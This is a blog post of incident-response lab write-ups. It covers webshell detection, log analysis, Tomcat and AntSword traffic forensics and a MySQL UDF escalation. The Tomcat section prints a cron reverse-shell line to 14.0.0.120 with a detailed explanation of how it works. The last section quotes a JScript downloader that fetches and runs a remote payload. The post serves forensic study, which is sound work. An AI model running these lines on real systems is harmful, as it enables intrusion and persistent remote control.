玄机 应急响应

应急响应

webshell

image-20250323154146647

第一问是找 webshell 里面的 flag

用find命令查找特殊后缀的文件,然后管道符拼接xargs去匹配特征函数,xargs函数就是把命令1的结果当作输入给到命令2

查找shell四语句

//搜索目录下适配当前应用的网页文件,查看内容是否有Webshell特征
find ./ type f -name "*.jsp" | xargs grep "exec("
find ./ type f -name "*.php" | xargs grep "eval("
find ./ type f -name "*.asp" | xargs grep "execute("
find ./ type f -name "*.aspx" | xargs grep "eval("

//对于免杀Webshell,可以查看是否使用编码
find ./ type f -name "*.php" | xargs grep "base64_decode"

image-20250323154659415

image-20250323154244750

第一个flag{027ccd04-5065-48b6-a32d-77c704a5e26d}

第二问是找使用工具的github地址,在md5一下

这里可以看到很明显的哥斯拉的特征

image-20250323164845550

哥斯拉的特征

哥斯拉病毒是一种Java后门木马,通常用于攻击并控制Web服务器。特征就包括:
> 1.  **@session_start();**  - 开启一个会话。
> 2.  **@set_time_limit(0);**  - 设置脚本执行时间为无限。
> 3.  **@error_reporting(0);**  - 关闭所有错误报告

由此判断是工具是哥斯拉

将哥斯拉的GitHub地址MD5一下

https://github.com/BeichenDream/Godzilla

第三问 隐藏shell的完整路径

image-20250323171824518

有问题的后门文件,猜测路径是他 MD5加密一下

要注意文件的细节

他是! .Mysqli.php

完整路径 /var/www/html/include/Db/.Mysqli.php,MD5一下

第四问是免杀马的完整路径

//对于免杀Webshell,可以查看是否使用编码
find ./ type f -name "*.php" | xargs grep "base64_decode"

image-20250323172203281

路径 /var/www/html/wap/top.php

总结一下:本题就是先去找webshell,然后判断黑客用的工具是哥斯拉,再根据哥斯拉的免杀性,找出其免杀路径和webshell的完整路径

学习了一下哥斯拉怎么用,只能说太强了

linux日志

image-20250323205901073

第一问 有多少ip在爆破root账号

爆破账号的ip又哪些

cat auth.log.1 | grep -a "Failed" | awk '{print $11}' | sort | uniq -c | sort -nr | more

image-20250323211100437

flag{192.168.200.2,192.168.200.31,192.168.200.32}

image-20250323211550043

第四问登陆成功的IP共爆破了多少次也出来了 四次

flag{4}

第二问,ssh爆破成功登陆的IP是多少

直接是192.168.200.2,后面那俩ip只爆了一次

flag{192.168.200.2}

第三问爆破用户名字典是什么

尝试爆破IP登录root账号代表着多次登录失败 登录失败的关键字 "Failed password",登陆成功的关键字 Accepted

cat auth.log.1 | grep -a "Failed password" |perl -e 'while($_=<>){ /for(.*?) from/; print "$1\n";}'|uniq -c|sort -nr

image-20250323212234352

image-20250323212144956

第五问黑客登陆主机后新建了一个后门用户,用户名是多少

创建新用户的关键字 new user,结合之前的test123 确定后门账号是test2

image-20250323212705870

flag{test2}

Linux入侵排查

image-20250323221530464

第一问 找木马的密码

find ./ type f -name "*.php" | xargs grep "eval("
flag{1}

image-20250323214838390

第二问 不死马的密码

image-20250323221734304

猜测那一长串是MD5加密后的不死马的密码

image-20250323220418401

flag{hello}

不死马

image-20250323215913340

第三问 不死马是通过哪个文件生成的

当我们去一个个看 .shell.php 和 index.php时会发现

image-20250323221952490

image-20250323222124133

总来说就是核心目的是在 /var/www/html/ 目录下创建一个名为 .shell.php 的后门文件,并伪造其时间戳以试图隐藏其存在。该后门文件包含恶意代码,通过 md5 哈希验证密码后,执行传入的命令。这种后门文件可以被攻击者用来远程执行任意命令,从而完全控制服务器

image-20250323222841971

flag{index.php}

第四问 找出黑客留下的木马文件的服务器的ip地址

尝试去auth.log.1里面去找ip了但是发现什么都没有,所以可能是通过其他方式写入的webshell

这是涉及到一个知识点,提权,在运行可疑文件

image-20250323223001933

这个文件

先给文件提权,在连接,在新开一个会话去查看连接的情况(记得改名字 )

chmod 777 "shell(1).elf"

image-20250323223251806

新建会话 执行命令

netstat -antlp | more

image-20250323223344527

flag{10.11.55.21}
flag{3333}

image-20250323223458040

image-20250323223630699

apache日志分析

image-20250327215101716

第一问 当天访问次数最多的ip

本题是apache日志,所以去 apache2 目录下,看到 access.log.1

先是查看一下该日志的格式

cat access.log.1 | awk '{print $0}'

确定ip在第一排之后,又注意到日期,锁定日期为关键字,进行grep

cat access.log.1 | grep "03/Aug/2023" | awk '{print $1}' | sort | uniq -c

image-20250327213202232

flag{192.168.200.2}

第二问 是浏览器指纹

顾名思义,跟人的指纹是一个道理是通过浏览器的各种信息,指向该浏览器

后面的请求信息就算是一种浏览器指纹

image-20250327214109142

将 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36 md5加密一下

第三问查看包含index.php页面被访问的次数

既然是包含该页面的访问次数,所以关键字是 /index.php

image-20250327214256975

第四问黑客IP访问了多少次

image-20250327213354111

能看到 黑客ip访问了6555次

第五问是8点这一个小时之内有多少ip访问

image-20250327214559030

有5个ip访问

一些有用的芝士

::1

localhost:localhost 是个域名,不是地址,它可以被配置为任意的 IP 地址,不过通常情况下都指向 127.0.0.1(ipv4)和 [::1](ipv6)
首先 localhost 是一个域名,在过去它指向 127.0.0.1 这个IP地址。在操作系统支持 ipv6 后,它同时还指向ipv6 的地址 [::1] 

流量特征分析-蚁剑流量分析

蚁剑流特征

@ini_set()		//明显的蚁剑特征函数
蚁剑返回的数据采用base64编码的形式,数据格式为:随机数 编码后的数据 随机数

image-20250328105532092

第一问密码

很明显密码是1

image-20250330204802033

第二问 执行的第一个命令

执行 id

image-20250330205207737

补充一个知识点,这里是按时间给流量排序

image-20250330210511211

image-20250330210749175

右键value 导出分组字节流

这里补充一下,蚁剑会在编码之前随机生成两位无意义的字符,所以将开始的位置设置为2

image-20250330211023860

第三问 查看了什么文件

/etc/passwd

image-20250330205330749

依次查看各个包的命令执行情况

第四问黑客上传了什么文件到服务器

追踪各个包

image-20250330213401235

image-20250330212202332

第五问上传的文件内容是什么

image-20250330214123292

image-20250330214416598

第六问 黑客下载了哪个文件,提交文件绝对路径

image-20250330215143994

常见攻击事件tomcat

image-20250331164833111

image-20250331165954656

1、在web服务器上发现的可疑活动,流量分析会显示很多请求,这表明存在恶意的扫描行为,通过分析扫描的行为后提交攻击者IP

扫描特征

先整体浏览一遍流量包,看到很多SYN,判断是nmap扫描

image-20250331164300377

image-20250331191014278

2、找到攻击者IP后请通过技术手段确定其所在地址

image-20250331172558151

3.哪一个端口提供对web服务器管理面板的访问

image-20250331192255265

4、经过前面对攻击者行为的分析后,攻击者运用的工具是?

查看攻击设备

这里补充一下,User-Agent返回的信息中 可以看到设备类型

image-20250331192808914

flag{gobuster}

频繁请求:当来源ip在短时间内访问了多个管理相关的路径时,能确定是在爆破

访问敏感路径: 请求路径包含 /manager/html/host-manager/html,这是 Tomcat 的管理页面,通常不应被公开访问

5、攻击者拿到特定目录的线索后,想要通过暴力破解的方式登录,请通过分析流量找到攻击者登录成功的用户名和密码?

找一下有没有黑客上传木马的包,以为前面看到很多图片不知道跟upload有没有关系,但是只看到了一个POST,是upload

  • 在分析HTTP请求时,特别是对于涉及登录和认证的请求,HTTP头部中的 Authorization 字段是一个非常明显的提示
  • image-20250331213151178

image-20250331204237618

授权里面会有密码

image-20250331212729111

image-20250331212850387

解码 admin:tomcat

直接定位到upload,那就是查找登录请求:

  • 在过滤后的HTTP请求中查找与登录相关的请求

    通常,登录请求会使用POST方法并包含用户名和密码参数,可能的路径包括 /login, /auth, /signin, 等

  • 找到成功登录请求:

    检查服务器的响应,如果服务器返回200 OK或其他表明成功登录的状态码(如302重定向),并且该响应与一个POST请求相对应,那么这个POST请求就是黑客成功登录的请求

6、攻击者登录成功后,先要建立反弹shell,请分析流量提交恶意文件的名称?

  • 在请求中查找 Content-Disposition 字段,这个字段包含了上传文件的名称

这是能看到上传了一个恶意文件

image-20250331210331924

提交 JXQOZY.war 文件后,攻击者可能会利用这个文件在服务器上执行恶意代码,例如建立反弹shell。进一步的网络流量分析可以帮助确定攻击者是否成功执行了恶意代码并建立了反弹shell。此类分析可以包括:

查看服务器的响应。
检查是否有后续的可疑连接,例如反向shell连接。
检查是否有其他不寻常的活动,可能表明服务器被攻破。

7、攻击者想要维持提权成功后的登录,请分析流量后提交关键的信息?

想找到维权提权成功后哦的登录信息,可以分析流量中关键的请求和反应内容,比如文件上传,命令执行等

  • POST/manager.html/upload:有关文件上传的
  • /bin/bash或者/bin/sh:有关命令执行

提权后的持久化手段:

  • 上传恶意文件:比如war文件中可能包含shell脚本或者恶意代码
  • 定时任务:通过定时任务执行恶意代码
  • 后门:将恶意程序放在/bin或者其他系统目录下 ,附一个查询语句http contains "/bin"

image-20250331214644123

因为HTTP协议传输的数据实际上是封装在TCP协议中的,HTTP数据在传输过程中会被分割成TCP包,每个TCP包中包含部分HTTP数据。如果HTTP数据中的某些内容被分割到多个TCP包中,那么在查看HTTP流量时可能无法直接匹配到这些分割的数据,而在查看原始的TCP流量时可以

image-20250331214659046

image-20250331214718995

tmp目录:用于存放临时文件,对所有用户开放权限,是攻击者常用的目录

echo "* * * * * /bin/bash -c 'bash -i >& /dev/tcp/14.0.0.120/443 0>&1'" > cron

作用:将一个定时任务写入名为cron的文件中

内容解释:

* * * * *:表示每分钟执行一次。
/bin/bash -c 'bash -i >& /dev/tcp/14.0.0.120/443 0>&1'

在bash中执行反向Shell连接到IP 14.0.0.120的443端口

/bin/bash - 调用Bash shell

-c - 告诉Bash执行后面的字符串作为命令

'bash -i >& /dev/tcp/14.0.0.120/443 0>&1' - 要执行的命令,包含:

bash -i - 启动一个交互式Bash shell

>& /dev/tcp/14.0.0.120/443 - 将标准输出和标准错误重定向到TCP连接

>& 在bash中, >&是一个重定向操作符,用于同时重定向标准输出和标准错误

>是输出重定向
&后台运行

/dev/tcp/14.0.0.120/443 - 尝试连接到IP 14.0.0.120的443端口(bash提供的一个虚拟网络接口)

/dev是设备文件目录
/tcp是传输协议

0>&1 - 将标准输入(文件描述符0)重定向到标准输出(文件描述符1),将0重定向到1的位置(/dev/tcp/14.0.0.120/443)
为什么需要 0>&1?
在反向 Shell 的场景中:

>& /dev/tcp/14.0.0.120/443

已经将 stdout(1)和 stderr(2) 重定向到攻击者的 TCP 连接。

此时,命令的输出(如 ls 的结果)会发送给攻击者。

0>&1

将 stdin(0) 也重定向到同一个 TCP 连接。

这样,攻击者发送的命令(如 whoami)会通过 TCP 传输到受害者的 Shell,并被执行。

完整数据流
复制
攻击者输入命令  →  TCP连接 → 受害者的stdin(0)  
受害者的输出    →  TCP连接 → 攻击者的屏幕
实现了双向交互,而不仅仅是单向扫描或探测。
crontab -i cron

作用:将cron文件中的内容安装为当前用户的定时任务(crontab)。
选项:-i通常表示安装或导入。

crontab -l
输出:* * * * * /bin/bash -c 'bash -i >& /dev/tcp/14.0.0.120/443 0>&1'

作用:列出当前用户的所有定时任务,确认任务已成功安装

image-20250331215823799

mysql应急响应

image-20250401213241638

1.第一次写入的shell

老方法找shell

find ./ type f -name "*.php" | xargs grep 'eval('

image-20250401214121224

2.黑客反弹shell的ip

error.log默认存放位置

/var/log/mysql/		//记录MySQL服务器的错误、警告和通知

image-20250403151219821

保存了一个1.sh脚本在/tmp目录下

image-20250403151407795

成功得到反弹shell的ip

3.黑客提权文件的完整路径 md5

查看找泄露root账号密码的文件

在web目录下查看 是否有文件泄露了root的密码

find ./ name "*.php" |xargs grep "root"

image-20250403153251470

确定了是common文件泄露了密码

连接数据库

image-20250403153421483

show global variables like '%secure%';

image-20250409151010054

确定是udf提权,因此肯定会在/usr/lib/mysql/plugin/目录下留下痕迹

image-20250409152119375

image-20250409152238915

可以看到在该目录下看到了udf.so文件

所以udf.so文件就是提权文件

所以黑客提权文件的完整路径是 /usr/lib/mysql/plugin/udf.so

4.黑客获取的权限

查看当前进程

image-20250409153919933

mysql        364  0.0  1.6 634320 64232 ?        Sl   07:04   0:01 /usr/sbin/mysqld --basedir=/usr --datadir=/var/lib/mysql --plugin-dir=/usr/lib/mysql/plugin --user=mysql --log-error=/var/log/m

能看到 有关于提权文件的路径

再去查看MySQL函数表中 是否有异常的UDF函数

select * from func;

image-20250409155009647

udf自定义函数

image-20250409155141379

故 sys_eval 就是黑客新增函数

结合题目给出的 whoami后的值是黑客获取的权限

image-20250409155422402

flag{mysql}

审日志

  • 检查连接历史:检查MySQL中的连接历史,找出哪些IP地址连接过数据库。可以通过查询information_schema.processlist或performance_schema来获取连接信息。

  • 检查特定的表和列:查找数据库中是否有存储和执行恶意命令的痕迹,例如system或exec等

流量特征分析

1.分析恶意程序访问了内嵌 URL 获取了 zip 压缩包,该 URL 是什么将该 URL作为 FLAG 提交 FLAG(形式:flag{xxxx.co.xxxx/w0ks//?YO=xxxxxxx})

追踪流 看到题目中说的zip,去找对应内嵌的url

image-20250409192905934

flag{tsdandassociates.co.sz/w0ks//?YO=1702920835}

image-20250409193730538

2.分析获取到的 zip 压缩包的 MD5 是什么

导出压缩包(导出分组字节流) 在进行md5

image-20250409195144390

image-20250409195402090

3.分析 zip 压缩包通过加载其中的 javascript 文件到另一个域名下载后续恶意程序, 该域名是什么?

分析得到的js文件,发现每个注释后面都跟着一个参数,参数对应的值是一个字母,将其提取出来得到域名

image-20250409203152662

truefalse\"\".match( \"\" )( new ActiveXObject( \"WScript.Shell\" ) ).Run( \\, ,  )undefinedcmd.exe /c del \"\"WScript.ScriptFullName\\\\cmd.exe /c echo|set /p=\"cu\" > \"%temp%\\\\dolorem.p.bat\"cmd.exe /c echo rl \"\" --output \"%temp%\\\\dolorem.p\" --ssl-no-revoke --insecure --location >> \"%temp%\\\\dolorem.p.bat\"cmd.exe /c \"%temp%\\\\dolorem.p.bat\"%temp%\\\\dolorem.p.batcmd.exe /c ren \"%temp%\\\\dolorem.p\" rundll32 \"%temp%\\\\\" Entercmd.exe /c \"%temp%\\\\\"https://shakyastatuestrade.com/IhA6F/616231603qui.q
flag{shakyastatuestrade.com}
posted @ 2025-03-24 15:08  Yolololololo  阅读(143)  评论(0)    收藏  举报